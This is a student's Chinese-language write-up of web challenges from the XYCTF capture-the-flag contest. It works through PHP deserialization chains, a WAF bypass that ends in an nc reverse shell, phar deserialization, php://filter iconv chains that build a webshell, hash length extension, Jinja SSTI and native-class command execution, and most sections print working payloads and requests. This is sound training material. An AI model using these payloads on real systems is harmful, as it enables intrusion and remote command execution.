浅浅写一下wp吧,web差两题没有写出来,主要是因为,赛事时间太长,还要大二大三的老登太多了,没有拿奖的希望,就懒的打了。下面就写一下有些难度的吧,简单题就不写了。

ezPOP

这题难度不是特别高但是又两个算新又不是特别新的知识点
第一个知识点就是

GC回收机制触发destruct

首先我们来聊聊什么是GC回收机制。GC回收是一种销毁机制,又称垃圾回收机制。
在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向
时,它就会被变成垃圾,被GC机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。

演示

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class A{

public $B=1;
public function __destruct()
{
echo "触发回收";
}

}
$A=new A();

throw new Exception("抛出异常");

上面的代码无法触发__destruct()原因是代码再结束前被直接抛出了异常导致实例无法正确被销毁触发魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{

public $B=1;
public function __destruct()
{
echo "触发回收";
}

}
$A=new A();
$A=NULL;
throw new Exception("抛出异常");

上面的代码输出了触发回收。即其触发了__destruct()
可以看出当我们重新将对象赋值为NULL时触发了GC回收机制。

利用

这里我就直接使用这题来演示如何利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}

我们还是首先找链子明显可以看出链子张这样
1
CCC{__destruct}->AAA{__tostring}->BBB{__get}

那么第一个问题就是怎么触发__destruct。因为其再程序尾部抛出了异常。导致无法正常触发所以我们使用GC回收机制。链子构造如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class AAA
{
public $s;
public $a="lalala";
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
$a=new CCC();
$a->c=new AAA();
$a->c->s=new BBB();
$b=array("0"=>$a,"1"=>NULL);
echo serialize($b);
---------------------------------------
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";N;s:1:"d";N;}s:1:"a";s:6:"lalala";}}i:0;N;}

我们将输出的序列化进行小小的修改将最后的1该为0即数组原本是键1执行了NULL在修改后会变为键0指向NULL而0本来指向一个实例这也就导致了实例被销毁触发了GC回收机制
那么我们最后的问题就是如何利用最后的后门函数了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

首先我们可以看到最后的函数时链式调用,这导致了我们无法直接使用回调函数直接使用后门类函数。但是我们只要能使得call_user_func($a,$b)($c)返回值为system那么我们就可以调用system函数啦。我们一步步会推。我们只要使得call_user_func($a,$b)返回值为urldecode就可以使其返回值为$c的值了。其中$a和$b我们都可控但是$b为数组并且删除了键a的值,那么这时候我就想到了直接强制类型转换是不是就可以直接返回$b的值呢。经过尝试是的。
那么结果就很明确了。

牢牢记住,逝者为大

说实话基础还是太差了,每次遇到waf都头疼,写这题的时候绕的累死了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

我们可以看到其对输入字符数做了限制,那么第一时间肯定是尝试进行逃逸。在写这题的时候对逃逸的知识并不是特别了解只知道可以通过eval($_GET())这种姿势进行逃逸,但是在这题明显是无法使用的,那么这时候我有想到使用反引号效果会不会成功呢?。在尝试后发现确实是可以成功,只是无法回显。但是要成功命令执行需要将前后的字符串进行绕过。我在网上查了好一会终于查到了可以使用换行符绕过前面的注释符,而后面的字符直接注释即可,在这次的比赛里我还学到了一个不需要字符即可对后拼接的字符进行注释的方法。先不说后面的其他题目会提到。
总结一下就可以知道逃逸的语句应该如下
1
%0a`$_GET[1]`%23

但是逃逸后我们还无法任意的命令执行这是因为,下面的代码
1
2
3
4
5
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}

这句话是将全局变量$_GET进行遍历在进行正则匹配。这就对我们逃逸的内容进行了限制,但是我们可以发现其没有对nc进行限制,那么我们直接nc反弹shell
1
?cmd=%0a`$_GET[1]`%23&1=nc ip  port -e sh

pharme

这道题目主要是考phar反序列化这道题目也是学到了很多
我们先查看class.php可以看到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}

if(isset($_POST['file']))
{
if(preg_match('/^phar:\/\//i',$_POST['file']))
{
die("nonono");
}
file_get_contents($_POST['file']);
}

我们打开class.php可以发现 evil类里用eval函数
而前面的waf导致我们只能给cmd传入字母,下划线,和小括号。我们可以使用phar的文件尾进行截断来绕过后面字符的拼接。__HALT_COMPILER();该文件尾部后的代码都不会被识别。
或者使用__halt_compiler();来中断编译器。
还有一个点是:由于我们无法输入引号所有我们需要进行逃逸,又因为我们无法输入$所有我们使用函数来进行无参命令执行。
1

而下面的文件处理函数可以触发phar反序列化,其waf使得无法再字符头部出现phar,但是我们可以使用伪协议嵌套来绕过。

1
2
3
4
5
6
7
 Bzip/Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar

上面的所有都可以触发phar反序列化
然后我们再上传的时候提示我们文件中不能出现__HALT_COMPILER();这个我们可以使用gzip来绕过,将该文件使用gzip压缩后上传,仍然可以使用pahr来触发反序列化,而被压缩的文件中也就没有该文件尾了。
下面开始制作攻击phar文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class evil{
public $cmd="eval(end(getallheaders()));__HALT_COMPILER();";
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}

$a=new evil();
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

将生成的文件再kali下使用gzip压缩,改后缀为jpg上传,之后进行触发。

记下文件名用于触发。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /class.php HTTP/1.1
Host: 192.168.223.1:14144
Content-Length: 85
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://192.168.223.1:14144
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.223.1:14144/class.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
a: system('cat flag');

file=compress.zlib://phar%3A%2F%2F%2Ftmp%2F628941e623f5a967093007bf39be805f.jpg

连连看到底是连连什么看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
echo file_get_contents('/flag');
}

我们可以很明显的看出来是要使用过滤器来进行构造出XYCTF下面是文章
hxp CTF 2021 - The End Of LFI?
谈一谈php://filter的妙用
第一篇文章的构造方法在网上可以找到脚本,整体原理就是利用字符集的转换和base64过滤器的宽泛性来进行构造。
我们使用脚本跑出来的只能在文件的头部构造出XYCTF。如下

这时候我们需要使用到string.strip_tags这个过滤器,这个过滤器可以删除标签那么我们构造XYCTF<?
最后再使用string.strip_tags对多余的内容进行删除即可

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags/resource=/etc/passwd

ezLFI

这题和上一题应该是联动的,这题打开会发现是应该LFI而上面构造的文章原本讲的就是从LFI到RCE的漏洞升级使用我们直接构造<?php @eval($_POST[1]);?>来进行文件包含到命令执行。
之后再执行/readflag即可

1
file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&1=system("/readflag");

give me flag

这题考的是哈希扩展攻击,这个我再博客里也又写原理。我这里就直接写思路了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
highlight_file(__FILE__);
die($FLAG_md5);
}

$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();

if(md5($FLAG.$value.$time)===$md5)
{
echo "yes, give you flag: ";
echo $FLAG;
}
5c44b944c29af7cb3dfa247a0c2a84c7

首先其泄露了flag的哈希值。我们再看一下其他题目的flag就知道flag长度为43个字符。
而其判断语句比较了以下两个值
1
md5($FLAG.$value.$time)===$md5

value我们可控,而time我们只要再后面拼接一个当前time几十秒的数据之后一直发包即可。(本来是想用python脚本来直接讲time填充的字符拼接之后发包的但是网上简单的脚本我因为环境的原因都无法正常使用,而复杂的开源脚本看不懂。。。)
我们这里使用的是hash-ext-attack

之后就是不断的发包登time输入的与扩展字符相同时即可得出答案。

我是一个复读机

首先是爆破登陆。
之后会有一个复读的框。看到这个的时候第一时间就有想到使用ssti。因为复读这种直接输出到web上的一般都是使用模板来实现的。可是测试之后发现无法使用{}这也就导致完全卡住了。但是我们观察题目说的他只能复读英文,那么输入中文会发生上面呢?。结果就发现输入中文会使得多出一个{}那么我们输入两个中文字符即可得到{{}}那么就可以进行ssti了。在进行ssti时发现过滤了很多,但是没关系我们直接使用请求来逃逸
payload

1
得到()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(80)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen("ls /").read()

ezClass

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

我们可以看到其一开始直接new来进行实例一个对象。那么我们很自然的想到使用原生类。我们观察这个构造可以知道需要利用两个括号内的返回值来构造命令。
我们的目标命令就是system(‘cat /flag’);
即前一个返回值为system后一个为cat /flag
而控制返回值让我想到了Error类,其tostring方法就是返回参数内容,那么我们看一下其是否存在其他的方法
我们翻一下php手册会发现其存在类可以返回string

Exception类也一样

1
http://localhost:9502/?a=Exception&aa=system&c=getMessage&b=Exception&bb=tac /flag

εZ?¿м@Kε¿?

这题我们看hint.php可以发现其只能使用特殊字符来构造命令。
我们知道$()可以表示bash。那么我们使用$()来尝试进行命令执行。而在Makefile里$<表示第一个依赖项(一般是构造目标文件)

我们可以发现第一个依赖性为/flag即$<为/flag。那么我们可以使用重定向符<来进行命令执行
我们查看下面这个命令

1
$(<file)

在bash中这是将file的内容当成命令执行,当无法执行时就会报错而报错的内容里就含有文件的内容。
那么我们只要能构造出效果和$(</flag)相同的即可得到flag。
而在makefile下$$代表引用变量使用我们需要使用$$$来代替$那么我们就得到了下面的命令
1
$$(<$<)

这就会报错并回显出flag